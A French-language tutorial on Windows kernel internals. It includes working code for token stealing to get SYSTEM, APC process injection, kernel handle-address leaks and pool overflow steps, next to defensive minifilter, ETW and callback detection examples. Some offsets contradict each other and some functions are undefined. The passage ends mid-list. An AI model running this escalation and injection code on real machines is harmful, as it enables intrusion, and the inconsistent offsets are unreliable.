Comprendre les mécanismes internes du noyau Windows est une compétence fondamentale pour quiconque pratique la recherche en vulnérabilités, le développement d'exploits, l'analyse de malwares avancés ou la création de solutions de sécurité endpoint. Le noyau Windows NT, dont l'architecture remonte à la version 3.1 de 1993 mais qui a considérablement évolué au fil des versions jusqu'à Windows 11 24H2 et Windows Server 2025, présente une organisation complexe en objets, en handles et en structures de données interconnectées. Les structures comme EPROCESS et ETHREAD représentent les processus et threads au niveau noyau avec leurs attributs de sécurité, tandis que le PEB (Process Environment Block) et le TEB (Thread Environment Block) sont les structures accessibles en mode utilisateur. La manipulation de ces structures est au cœur de techniques d'attaque sophistiquées comme l'injection APC, le vol de token de sécurité, le hooking SSDT, et l'exploitation du pool noyau. Ce guide technique détaille l'architecture interne de Windows depuis les structures de base jusqu'aux mécanismes de protection modernes comme PatchGuard et HVCI, en passant par les techniques d'exploitation historiques et contemporaines qui ont façonné l'évolution de la sécurité Windows.

Points clés : Les structures noyau Windows évoluent à chaque version majeure — les offsets doivent être résolus dynamiquement via WinDbg ou les PDB publics de Microsoft. PatchGuard (KPP) et Kernel Data Protection (KDP) depuis Windows 10 20H1 rendent le patching direct du noyau extrêmement difficile. Les techniques d'exploitation noyau ont migré vers l'abus d'interfaces légitimes plutôt que la modification directe de structures protégées.

1. Architecture du noyau Windows : vue d'ensemble

Le noyau Windows s'organise en deux modes d'exécution principaux : le mode utilisateur (Ring 3) et le mode noyau (Ring 0). La frontière entre ces deux modes est appliquée par le processeur via les niveaux de privilège CPL (Current Privilege Level). En mode noyau opèrent le Executive Windows (Ntoskrnl.exe), les drivers, le HAL (Hardware Abstraction Layer) et le micronoyau.

Architecture simplifiée Windows NT :

Ring 3 (User Mode)
┌─────────────────────────────────────────────────────────────────┐
│  Applications                                                    │
│  Subsystems: Win32, POSIX, WoW64                                │
│  DLLs: kernel32.dll, ntdll.dll, user32.dll                      │
│  ↕ System calls via ntdll!Nt* → SYSCALL instruction             │
└─────────────────────────────────────────────────────────────────┘

Ring 0 (Kernel Mode)
┌─────────────────────────────────────────────────────────────────┐
│  Executive (ntoskrnl.exe)                                        │
│  ├── Object Manager                                              │
│  ├── Process & Thread Manager                                    │
│  ├── Memory Manager (MmPfnDatabase, MmNonPagedPool)             │
│  ├── I/O Manager                                                 │
│  ├── Security Reference Monitor (SRM)                           │
│  ├── Configuration Manager (Registry)                           │
│  └── Power Manager                                               │
│                                                                  │
│  Micronoyau (KeXxx fonctions)                                    │
│  HAL (hal.dll)                                                   │
│  Win32k.sys (subsystem graphique)                                │
│  Drivers (KMD) : ntfs.sys, netio.sys, WdFilter.sys...           │
└─────────────────────────────────────────────────────────────────┘

2. Structure EPROCESS : anatomie du processus noyau

La structure EPROCESS (Executive Process) est la représentation noyau d'un processus Windows. Elle est allouée dans le pool non paginé (NonPaged Pool) du noyau et contient l'intégralité des attributs du processus, dont son contexte de sécurité.

// Exploration EPROCESS avec WinDbg (Windows 11 24H2)
// Commandes WinDbg :

// Lister tous les processus
!process 0 0

// Afficher la structure EPROCESS complète d'un processus (e.g., lsass.exe)
!process 0 0 lsass.exe
// Résultat : PROCESS ffffb40b`12345678 ...

// Détailler la structure EPROCESS
dt nt!_EPROCESS ffffb40b`12345678

// Offsets importants dans _EPROCESS (Windows 11 22H2/24H2) :
// +0x000 Pcb              : _KPROCESS (contexte noyau)
// +0x438 UniqueProcessId  : Ptr64 Void (PID)
// +0x440 ActiveProcessLinks : _LIST_ENTRY (liste doublement chaînée des processus)
// +0x550 Token            : _EX_FAST_REF (token de sécurité — CRITIQUE)
// +0x5a0 ImageFileName    : [15] UChar (nom du processus, 15 chars)
// +0x7d8 ProtectedProcess : ULong (PP/PPL — Protected Process Light)
// +0x7dc SignatureLevel   : UChar (niveau de signature du code)

// Accéder au token de sécurité
dt nt!_EX_FAST_REF ffffb40b`12345678+0x550
// Le token est dans les bits 63:4, les bits 3:0 sont le RefCount
// Masque : token_addr = token_value & ~0xF
// Accès aux structures Windows Internals depuis un driver en C
// Nécessite WDK (Windows Driver Kit)

#include <ntddk.h>

// Offsets EPROCESS (doivent être résolus dynamiquement en production)
// Utiliser NtQuerySystemInformation ou PsGetProcessId pour éviter les hardcodes

typedef struct _EPROCESS_OFFSETS {
    ULONG UniqueProcessId;    // Offset du PID dans EPROCESS
    ULONG ActiveProcessLinks; // Offset des liens dans la liste
    ULONG Token;              // Offset du token de sécurité
    ULONG ImageFileName;      // Offset du nom du processus
} EPROCESS_OFFSETS;

// Résolution dynamique des offsets via NtBuildNumber
EPROCESS_OFFSETS GetEprocessOffsets() {
    RTL_OSVERSIONINFOW osVersion = { sizeof(RTL_OSVERSIONINFOW) };
    RtlGetVersion(&osVersion);

    EPROCESS_OFFSETS offsets = {0};

    // Windows 11 24H2 (Build 26100)
    if (osVersion.dwBuildNumber >= 26100) {
        offsets.UniqueProcessId = 0x440;
        offsets.ActiveProcessLinks = 0x448;
        offsets.Token = 0x4B8;
        offsets.ImageFileName = 0x5A8;
    }
    // Windows 11 22H2 (Build 22621)
    else if (osVersion.dwBuildNumber >= 22621) {
        offsets.UniqueProcessId = 0x440;
        offsets.ActiveProcessLinks = 0x448;
        offsets.Token = 0x4B8;
        offsets.ImageFileName = 0x5A8;
    }
    // Windows 10 21H2 (Build 19044)
    else if (osVersion.dwBuildNumber >= 19041) {
        offsets.UniqueProcessId = 0x440;
        offsets.ActiveProcessLinks = 0x448;
        offsets.Token = 0x4B8;
        offsets.ImageFileName = 0x5A8;
    }

    return offsets;
}

3. PEB et TEB : structures en espace utilisateur

Le PEB (Process Environment Block) est une structure en espace utilisateur (adresse connue via NtCurrentPeb() ou le registre GS:[0x60] en x64) qui contient les informations cruciales sur le processus accessibles depuis le mode utilisateur.

// Accès au PEB via assembleur inline (x64)
#include <windows.h>
#include <winternl.h>

void InspectPEB() {
    // Le PEB est accessible via GS:[0x60] en x64, FS:[0x30] en x86
    PPEB pPeb = (PPEB)__readgsqword(0x60);

    printf("PEB Address: %p\n", pPeb);
    printf("ImageBaseAddress: %p\n", pPeb->ImageBaseAddress);
    printf("BeingDebugged: %d\n", pPeb->BeingDebugged);  // Anti-debug check
    printf("NtGlobalFlag: 0x%X\n", *(DWORD*)((BYTE*)pPeb + 0xBC));  // Anti-debug

    // Modules chargés (PEB_LDR_DATA)
    PPEB_LDR_DATA pLdr = pPeb->Ldr;
    PLIST_ENTRY pEntry = pLdr->InMemoryOrderModuleList.Flink;

    printf("\nModules chargés:\n");
    while (pEntry != &pLdr->InMemoryOrderModuleList) {
        PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(
            pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        wprintf(L"  %wZ @ %p (size: 0x%X)\n",
            &pModule->BaseDllName,
            pModule->DllBase,
            pModule->SizeOfImage);
        pEntry = pEntry->Flink;
    }
}

// TEB — Thread Environment Block (GS:[0] en x64, FS:[0] en x86)
void InspectTEB() {
    PTEB pTeb = (PTEB)__readgsqword(0x00);  // Ou NtCurrentTeb()

    printf("TEB Address: %p\n", pTeb);
    printf("Self: %p\n", pTeb->NtTib.Self);
    printf("ProcessEnvironmentBlock: %p\n", pTeb->ProcessEnvironmentBlock);
    printf("LastErrorValue: %d\n", pTeb->LastErrorValue);
    printf("ThreadId: %d\n", (DWORD)(ULONG_PTR)pTeb->ClientId.UniqueThread);

    // Stack limits — utile pour la détection de stack overflow
    printf("StackBase: %p\n", pTeb->NtTib.StackBase);
    printf("StackLimit: %p\n", pTeb->NtTib.StackLimit);
}

4. SSDT : System Service Descriptor Table

La SSDT (System Service Descriptor Table) est une table qui mappe les numéros de services système (SSN — System Service Numbers) aux adresses des fonctions correspondantes dans le noyau. Historiquement, le hooking SSDT était la technique favorite des rootkits pour intercepter les appels système, mais PatchGuard a rendu cette technique obsolète depuis Vista x64.

// Structure SSDT (KeServiceDescriptorTable)
typedef struct _SERVICE_DESCRIPTOR_TABLE {
    PULONG ServiceTableBase;      // Tableau des offsets de fonctions
    PULONG ServiceCounterTableBase; // Non utilisé en mode release
    ULONG NumberOfServices;       // Nombre de services
    PUCHAR ParamTableBase;        // Tableau des tailles de paramètres
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

// En x64, les entrées SSDT contiennent des offsets relatifs, pas des adresses absolues
// Adresse réelle = KiServiceTable + (KiServiceTable[SSN] >> 4)

// Résoudre l'adresse d'une fonction noyau via SSDT
// NOTE: Technique bloquée par PatchGuard sur x64 Windows 64-bit
// Présentée à titre pédagogique uniquement

ULONG64 GetSSDTFunctionAddress(ULONG serviceIndex) {
    // Localiser KeServiceDescriptorTable
    // En pratique, utiliser MmGetSystemRoutineAddress pour les fonctions exportées
    // ou les PDB publics Microsoft pour les fonctions non exportées

    extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

    if (serviceIndex >= KeServiceDescriptorTable->NumberOfServices) {
        return 0;
    }

    // Décodage de l'offset encodé (x64)
    LONG encodedOffset = KeServiceDescriptorTable->ServiceTableBase[serviceIndex];
    ULONG64 functionAddress = (ULONG64)KeServiceDescriptorTable->ServiceTableBase +
                              (encodedOffset >> 4);

    return functionAddress;
}

// Alternative moderne : Utiliser les Kernel Callbacks sans modifier la SSDT
// PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine
// ObRegisterCallbacks pour les objets processus/thread

5. Token manipulation : vol de privilèges SYSTEM

La manipulation de tokens est la technique d'élévation de privilèges la plus utilisée dans les exploits noyau Windows modernes. Elle consiste à remplacer le token de sécurité d'un processus non-privilégié par celui d'un processus SYSTEM (typiquement le PID 4, le processus System lui-même).

// Token stealing technique — code de démonstration
// Utilisé dans de nombreux exploits LPE (Local Privilege Escalation)

#include <ntddk.h>

NTSTATUS StealSystemToken(PEPROCESS targetProcess) {
    // 1. Localiser le processus SYSTEM (PID 4)
    PEPROCESS systemProcess = NULL;
    NTSTATUS status = PsLookupProcessByProcessId((HANDLE)4, &systemProcess);
    if (!NT_SUCCESS(status)) {
        return status;
    }

    // 2. Lire le token SYSTEM
    // ATTENTION : Les offsets doivent être résolus dynamiquement
    // Ici on utilise l'API publique PsReferencePrimaryToken
    PACCESS_TOKEN systemToken = PsReferencePrimaryToken(systemProcess);
    ObDereferenceObject(systemProcess);

    // 3. Remplacer le token du processus cible
    // En exploit réel, on écrirait directement dans EPROCESS+TOKEN_OFFSET
    // Technique userland équivalente via DuplicateHandle + SetThreadToken

    // Méthode moderne (moins détectable, via API documentées)
    HANDLE systemTokenHandle;
    status = ObOpenObjectByPointer(
        systemToken,
        OBJ_KERNEL_HANDLE,
        NULL,
        TOKEN_DUPLICATE,
        *SeTokenObjectType,
        KernelMode,
        &systemTokenHandle);

    if (NT_SUCCESS(status)) {
        // Assigner le token au processus cible via API publique
        // ZwSetInformationProcess(targetProcessHandle,
        //   ProcessAccessToken, &tokenInfo, sizeof(tokenInfo))
        ZwClose(systemTokenHandle);
    }

    PsDereferencePrimaryToken(systemToken);
    return status;
}
// Implémentation userland du token stealing (sans driver)
// Via NtQuerySystemInformation + OpenProcess + DuplicateToken

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

HANDLE GetSystemToken() {
    // Ouvrir le processus winlogon.exe (tourne sous SYSTEM)
    DWORD winlogonPid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };

    if (Process32First(snapshot, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, "winlogon.exe") == 0) {
                winlogonPid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snapshot, &pe));
    }
    CloseHandle(snapshot);

    if (!winlogonPid) return NULL;

    // Ouvrir winlogon avec TOKEN_DUPLICATE (nécessite SeDebugPrivilege)
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
                                  FALSE, winlogonPid);
    if (!hProcess) return NULL;

    HANDLE hToken = NULL;
    OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);
    CloseHandle(hProcess);

    // Dupliquer le token comme token primaire
    HANDLE hNewToken = NULL;
    SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, &sa,
                    SecurityImpersonation, TokenPrimary, &hNewToken);
    CloseHandle(hToken);

    return hNewToken;
}

void ElevateToSystem() {
    // Activer SeDebugPrivilege d'abord
    HANDLE hCurrentToken;
    OpenProcessToken(GetCurrentProcess(),
                    TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hCurrentToken);

    TOKEN_PRIVILEGES tp = {1};
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hCurrentToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hCurrentToken);

    // Obtenir le token SYSTEM
    HANDLE hSystemToken = GetSystemToken();
    if (!hSystemToken) {
        printf("[-] Impossible d'obtenir le token SYSTEM\n");
        return;
    }

    // Lancer un processus avec le token SYSTEM
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi = {0};
    si.lpDesktop = "Winsta0\\Default";

    if (CreateProcessWithTokenW(hSystemToken, LOGON_WITH_PROFILE,
        L"C:\\Windows\\System32\\cmd.exe", NULL,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] Processus SYSTEM créé (PID: %d)\n", pi.dwProcessId);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    CloseHandle(hSystemToken);
}

6. Handle Table : Object Manager et exploitation

Le Object Manager de Windows gère tous les objets noyau (processus, threads, fichiers, événements, etc.) via une table de handles. Chaque processus possède sa propre Handle Table, une structure triée permettant de mapper un handle (entier 32-bit, multiple de 4) vers un pointeur vers la structure d'objet noyau correspondante.

// Inspection de la Handle Table avec WinDbg
// Lister tous les handles d'un processus
!handle 0 0 <EPROCESS_addr>

// Afficher les détails d'un handle spécifique (handle 0x40 du processus courant)
!handle 0x40 7

// Structure d'une Handle Table Entry (x64) :
// Bits 63:3 : Pointeur vers l'objet noyau (aligné sur 8 bytes)
// Bit 2     : Auditing bit
// Bit 1     : Inherit bit
// Bit 0     : Protect from close bit

// Exemple d'exploitation : HandleTable cross-process leak
// Si un processus peut lire la HandleTable d'un processus privilégié
// il peut obtenir des pointeurs vers des objets noyau

// Technique : CreateMutex → NtQuerySystemInformation(SystemHandleInformation)
// pour trouver l'adresse noyau d'un objet connu

// Code de démonstration (user mode)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// NtQuerySystemInformation non documenté (mais stable)
typedef NTSTATUS (NTAPI* NtQuerySystemInformation_t)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_ENTRY {
    ULONG OwnerPid;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;          // Adresse noyau de l'objet !
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_ENTRY;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE_ENTRY Handles[1];
} SYSTEM_HANDLE_INFORMATION;

void EnumerateAllHandles() {
    NtQuerySystemInformation_t NtQSI = (NtQuerySystemInformation_t)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    ULONG bufferSize = 0x10000;
    PVOID buffer = HeapAlloc(GetProcessHeap(), 0, bufferSize);
    ULONG returnLength = 0;
    NTSTATUS status;

    // Augmenter le buffer jusqu'à ce qu'il soit suffisant
    while ((status = NtQSI(SystemHandleInformation, buffer,
                            bufferSize, &returnLength)) == 0xC0000004) {
        bufferSize *= 2;
        buffer = HeapReAlloc(GetProcessHeap(), 0, buffer, bufferSize);
    }

    if (status != 0) {
        printf("[-] NtQuerySystemInformation failed: 0x%X\n", status);
        return;
    }

    SYSTEM_HANDLE_INFORMATION* handleInfo = (SYSTEM_HANDLE_INFORMATION*)buffer;
    printf("[+] Total handles: %d\n", handleInfo->HandleCount);

    DWORD currentPid = GetCurrentProcessId();
    for (ULONG i = 0; i < handleInfo->HandleCount; i++) {
        SYSTEM_HANDLE_ENTRY* entry = &handleInfo->Handles[i];
        if (entry->OwnerPid == 4) {  // System process
            printf("  SYSTEM Handle 0x%X -> Kernel Object @ %p (Type: %d, Access: 0x%X)\n",
                entry->Handle, entry->Object,
                entry->ObjectTypeNumber, entry->GrantedAccess);
        }
    }

    HeapFree(GetProcessHeap(), 0, buffer);
}

7. APC Injection : exécution de code via Asynchronous Procedure Calls

Les APC (Asynchronous Procedure Calls) sont des appels de fonctions asynchrones qui s'exécutent dans le contexte d'un thread spécifique. Windows utilise les APCs pour des opérations comme les timers, les I/O asynchrones et les alertes. L'injection d'APC est une technique d'injection de code qui profite de ce mécanisme pour exécuter du code dans un processus cible.

// APC Injection — technique classique
// Mécanisme : QueueUserAPC() dans un thread "alertable" (WaitForSingleObjectEx, etc.)

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Payload de démonstration (message box dans le processus cible)
unsigned char shellcode[] = {
    // En production : shellcode spécifique (reverse shell, beacon, etc.)
    // Ici représentation symbolique
    0x90, 0x90, 0x90, 0xC3  // NOP NOP NOP RET
};

BOOL APCInjection(DWORD targetPid, unsigned char* payload, SIZE_T payloadSize) {
    // 1. Ouvrir le processus cible
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, targetPid);
    if (!hProcess) {
        printf("[-] OpenProcess failed: %d\n", GetLastError());
        return FALSE;
    }

    // 2. Allouer de la mémoire exécutable dans le processus cible
    LPVOID pRemoteBuffer = VirtualAllocEx(
        hProcess, NULL, payloadSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteBuffer) {
        CloseHandle(hProcess);
        return FALSE;
    }

    // 3. Écrire le payload
    WriteProcessMemory(hProcess, pRemoteBuffer, payload, payloadSize, NULL);

    // 4. Énumérer les threads du processus cible
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };

    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == targetPid) {
                // 5. Ouvrir le thread et injecter l'APC
                HANDLE hThread = OpenThread(
                    THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
                    FALSE, te.th32ThreadID);
                if (hThread) {
                    printf("[*] Queuing APC to thread %d\n", te.th32ThreadID);
                    QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);

    printf("[+] APC queued. En attente que le thread passe en état alertable.\n");
    return TRUE;
}

8. Minifilter Drivers : interception des opérations de fichiers

Les minifilter drivers sont des drivers en mode noyau qui s'intercalent dans la pile d'I/O de Windows pour filtrer les opérations sur les fichiers. Les antivirus et les solutions EDR utilisent massivement cette technologie. Comprendre leur fonctionnement est essentiel pour analyser les capacités de détection et les techniques d'évasion.

// Exemple simplifié de minifilter driver
// Compile avec WDK — USAGE ÉDUCATIF UNIQUEMENT

#include <fltKernel.h>

PFLT_FILTER gFilterHandle = NULL;

// Callback pré-opération : appelé AVANT que l'opération soit traitée
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
    _Inout_ PFLT_CALLBACK_DATA Data,
    _In_ PCFLT_RELATED_OBJECTS FltObjects,
    _Flt_CompletionContext_Outptr_ PVOID* CompletionContext
) {
    UNREFERENCED_PARAMETER(FltObjects);
    UNREFERENCED_PARAMETER(CompletionContext);

    // Inspecter l'opération de création de fichier
    if (Data->Iopb->MajorFunction == IRP_MJ_CREATE) {
        PFLT_FILE_NAME_INFORMATION nameInfo;
        NTSTATUS status = FltGetFileNameInformation(
            Data,
            FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT,
            &nameInfo);

        if (NT_SUCCESS(status)) {
            FltParseFileNameInformation(nameInfo);

            // Bloquer l'accès aux fichiers d'un répertoire sensible
            if (RtlPrefixUnicodeString(
                &(UNICODE_STRING)RTL_CONSTANT_STRING(L"\\Device\\HarddiskVolume3\\Sensitive\\"),
                &nameInfo->Name, TRUE)) {
                printf("Minifilter: Accès bloqué à %wZ\n", &nameInfo->Name);
                FltReleaseFileNameInformation(nameInfo);

                // Refuser l'opération
                Data->IoStatus.Status = STATUS_ACCESS_DENIED;
                Data->IoStatus.Information = 0;
                return FLT_PREOP_COMPLETE;
            }
            FltReleaseFileNameInformation(nameInfo);
        }
    }

    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

// Table des opérations filtrées
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_CREATE, 0, PreCreateCallback, NULL },
    { IRP_MJ_WRITE,  0, PreWriteCallback,  NULL },
    { IRP_MJ_OPERATION_END }
};

// Enregistrement du filtre
CONST FLT_REGISTRATION FilterRegistration = {
    sizeof(FLT_REGISTRATION),
    FLT_REGISTRATION_VERSION,
    0,
    NULL,               // Context registrations
    Callbacks,          // Operation callbacks
    FilterUnloadRoutine,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(RegistryPath);
    return FltRegisterFilter(DriverObject, &FilterRegistration, &gFilterHandle);
}

9. ETW : Event Tracing for Windows pour la détection

ETW (Event Tracing for Windows) est le mécanisme de journalisation hautes performances du noyau Windows. Les solutions EDR modernes consomment les événements ETW pour détecter des comportements malveillants en temps quasi-réel sans l'impact de performance d'un hook SSDT.

# PowerShell : Consommer des événements ETW en temps réel
# Provider Microsoft-Windows-Kernel-Process : créations de processus

# Lister les providers ETW disponibles
logman query providers | Select-String "Kernel"
# Microsoft-Windows-Kernel-Process {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}
# Microsoft-Windows-Kernel-File     {EDD08927-9CC4-4E65-B970-C2560FB5C521}
# Microsoft-Windows-Kernel-Network  {7DD42A49-5329-4832-8DFD-43D979153A88}

# Activer une session ETW et capturer les événements
# (Nécessite des privilèges admin)
$session = New-Object System.Diagnostics.Eventing.Reader.EventLogSession
$query = New-Object System.Diagnostics.Eventing.Reader.EventLogQuery(
    "Microsoft-Windows-Kernel-Process/Analytic",
    [System.Diagnostics.Eventing.Reader.PathType]::LogName)
// C# : Consumer ETW avec Microsoft.Diagnostics.Tracing.TraceEvent
using Microsoft.Diagnostics.Tracing;
using Microsoft.Diagnostics.Tracing.Session;
using Microsoft.Diagnostics.Tracing.Parsers;
using System;

class ETWMonitor {
    static void Main() {
        // Créer une session ETW temps réel
        using var session = new TraceEventSession("SecurityMonitor");

        // Activer le provider Kernel Process
        session.EnableKernelProvider(
            KernelTraceEventParser.Keywords.Process |
            KernelTraceEventParser.Keywords.Thread |
            KernelTraceEventParser.Keywords.ImageLoad |
            KernelTraceEventParser.Keywords.NetworkTCPIP);

        // S'abonner aux événements de création de processus
        session.Source.Kernel.ProcessStart += (ProcessTraceData evt) => {
            Console.WriteLine($"[PROCESS] PID:{evt.ProcessID} " +
                            $"PPID:{evt.ParentID} " +
                            $"Cmd:{evt.CommandLine}");

            // Détecter les commandes PowerShell encodées
            if (evt.CommandLine.Contains("-EncodedCommand") ||
                evt.CommandLine.Contains("-enc ")) {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine($"  [!] SUSPICIOUS: PowerShell encoded command détectée");
                Console.ResetColor();
            }
        };

        // S'abonner aux chargements de DLL
        session.Source.Kernel.ImageLoad += (ImageLoadTraceData evt) => {
            // Détecter le chargement de DLLs depuis des répertoires inhabituels
            if (!evt.FileName.StartsWith(@"\Windows\") &&
                !evt.FileName.StartsWith(@"\Program Files")) {
                Console.WriteLine($"  [DLL] Load from unusual path: {evt.FileName} " +
                                $"in PID:{evt.ProcessID}");
            }
        };

        // Démarrer la collecte (bloquant)
        Console.WriteLine("[*] ETW monitoring démarré...");
        session.Source.Process();
    }
}

10. Kernel Callbacks : mécanismes de notification légitimes

Windows expose des kernel callbacks (routines de notification) via des APIs publiques documentées qui permettent aux drivers de s'abonner aux événements système sans modifier la SSDT ou les structures noyau protégées par PatchGuard.

// Les 4 principales routines de notification noyau
// 1. PsSetCreateProcessNotifyRoutine — Création/destruction de processus
// 2. PsSetCreateThreadNotifyRoutine  — Création/destruction de threads
// 3. PsSetLoadImageNotifyRoutine     — Chargement d'images (DLLs, EXEs)
// 4. CmRegisterCallback              — Opérations de registre

// Exemple : Callback de création de processus
VOID ProcessNotifyCallback(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
) {
    if (CreateInfo != NULL) {
        // Création de processus
        if (CreateInfo->ImageFileName != NULL) {
            DbgPrint("[ProcessCallback] Nouveau processus: %wZ (PID: %llu)\n",
                CreateInfo->ImageFileName,
                (ULONG64)ProcessId);

            // Détecter création de cmd.exe depuis un processus non-standard
            if (wcsstr(CreateInfo->ImageFileName->Buffer, L"cmd.exe") ||
                wcsstr(CreateInfo->ImageFileName->Buffer, L"powershell.exe")) {

                // Vérifier le processus parent
                DbgPrint("  [!] Shell spawned, ParentPID: %llu\n",
                    (ULONG64)CreateInfo->ParentProcessId);
            }
        }
    } else {
        // Destruction de processus
        DbgPrint("[ProcessCallback] Processus terminé: PID %llu\n",
            (ULONG64)ProcessId);
    }
}

// Enregistrement du callback
NTSTATUS RegisterCallbacks() {
    NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(
        ProcessNotifyCallback, FALSE);

    if (!NT_SUCCESS(status)) {
        DbgPrint("[-] PsSetCreateProcessNotifyRoutineEx failed: 0x%X\n", status);
    }
    return status;
}

// ObRegisterCallbacks — Filtrage des opérations sur objets (processus, threads)
// Utilisé par les antivirus pour bloquer l'injection de code

OB_PREOP_CALLBACK_STATUS ProcessHandleCallback(
    PVOID RegistrationContext,
    POB_PRE_OPERATION_INFORMATION OperationInformation
) {
    UNREFERENCED_PARAMETER(RegistrationContext);

    // Filtrer les demandes d'accès PROCESS_VM_WRITE sur les processus protégés
    if (OperationInformation->ObjectType == *PsProcessType) {
        if (OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &
            PROCESS_VM_WRITE) {

            PEPROCESS targetProcess = (PEPROCESS)OperationInformation->Object;
            // Vérifier si c'est un processus protégé (antivirus, lsass, etc.)
            // ...

            // Supprimer les droits d'écriture VM
            OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &=
                ~PROCESS_VM_WRITE;
        }
    }
    return OB_PREOP_SUCCESS;
}

11. Pool exploitation : avant et après Windows 10 19041

L'exploitation du pool noyau (l'allocateur mémoire du noyau Windows, l'équivalent de malloc pour Ring 0) a considérablement évolué. La build 19041 (Windows 10 2004) a introduit le Segment Heap pour les pools noyau, rendant les techniques classiques d'exploitation quasi-inopérantes.

AspectAvant 19041 (Legacy Pool)Après 19041 (Segment Heap)
AllocateurExAllocatePoolWithTag (liste chaînée)ExAllocatePool2 (Segment Heap)
En-tête de blocPOOL_HEADER (8 bytes, facilement corruptible)Pas d'en-tête adjacent exploitable
Overflow techniqueÉcraser POOL_HEADER → ArbitraryWriteChunks non contigus en mémoire
Use-After-FreeDangling pointer utilisable directementHarder to exploit (randomization)
TypeIndexPrévisible, encodé simplementXOR avec adresse cookie + PID
Difficulté globaleMoyenne-HauteTrès Haute
// Structure POOL_HEADER (avant Windows 10 19041)
typedef struct _POOL_HEADER {
    union {
        struct {
            USHORT PreviousSize : 8;   // Taille du bloc précédent (/ 0x10)
            USHORT PoolIndex    : 8;   // Index dans le pool
            USHORT BlockSize    : 8;   // Taille du bloc actuel (/ 0x10)
            USHORT PoolType     : 8;   // NonPaged=0, Paged=1
        };
        ULONG Ulong1;
    };
    ULONG PoolTag;            // Tag de 4 bytes (ex: 'FIle', 'Proc')
    union {
        LIST_ENTRY ProcessBilled;
        struct {
            USHORT AllocatorBackTraceIndex;
            USHORT PoolTagHash;
        };
    };
} POOL_HEADER;

// Technique classique d'exploitation pool overflow (pre-19041)
// 1. Allouer des objets de taille contrôlée pour groomer le pool
// 2. Déclencher l'overflow pour corrompre POOL_HEADER du bloc adjacent
// 3. POOL_HEADER corrompu → type confusion lors de la libération
// 4. Utiliser _OBJECT_TYPE_INITIALIZER.CloseProcedure pour exécution arbitraire

// Post-19041 : nouvelles techniques
// - Kth heap feng shui avec segments
// - Exploitation via des primitives différentes (integer overflow, logic bugs)
// - IOHV (I/O Handler Vulnerability) — abus d'interfaces IOCTL
// - Cross-cache attacks (similaires à la technique Linux)

// Debugging pool avec WinDbg
// !pool 
— Afficher les infos du bloc pool // !poolused — Statistiques d'utilisation du pool // !poolfind [type] — Trouver des blocs par tag // verifier /standard /driver mydriver.sys — Activer Driver Verifier

12. PatchGuard (KPP) : Kernel Patch Protection

PatchGuard (Kernel Patch Protection, KPP) est un mécanisme de protection introduit avec Windows Vista x64 qui surveille l'intégrité des structures noyau critiques et provoque un BSOD (CRITICAL_STRUCTURE_CORRUPTION, Bug Check 0x109) si des modifications non autorisées sont détectées.

Structures protégées par PatchGuard (non exhaustif) :
